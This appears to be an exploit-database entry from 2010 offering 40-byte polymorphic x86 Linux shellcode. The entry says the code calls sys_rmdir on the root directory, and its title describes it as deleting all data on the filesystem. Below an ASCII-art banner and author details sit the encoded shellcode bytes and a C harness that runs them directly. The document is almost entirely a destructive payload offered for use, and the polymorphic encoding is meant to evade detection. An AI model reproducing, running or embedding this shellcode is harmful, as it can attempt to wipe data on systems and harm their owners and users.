40 bytes small sys_rmdir("/") Linux / x86 polymorphic shellcode.
eca5aca59dac15b0821be80cb2a5b864977ed5c5d6cc446883dbfe9cbd55dc78
/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Title : delete all data on filesystem x86 linux polymorphic shellcode (dangerous !).
Name : 40 bytes sys_rmdir ("/") x86 linux polymorphic shellcode .
Date : Thu Jun 24 22:52:03 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
*/
char *shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x10\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x20\x3d\xe5\x5d\x90\x02"
"\xb5\x75\x02\xb5\x1d\x28\x34\x34\x34\x64";
int main(void)
{
((void (*)(void)) shellcode)();
return 0;
}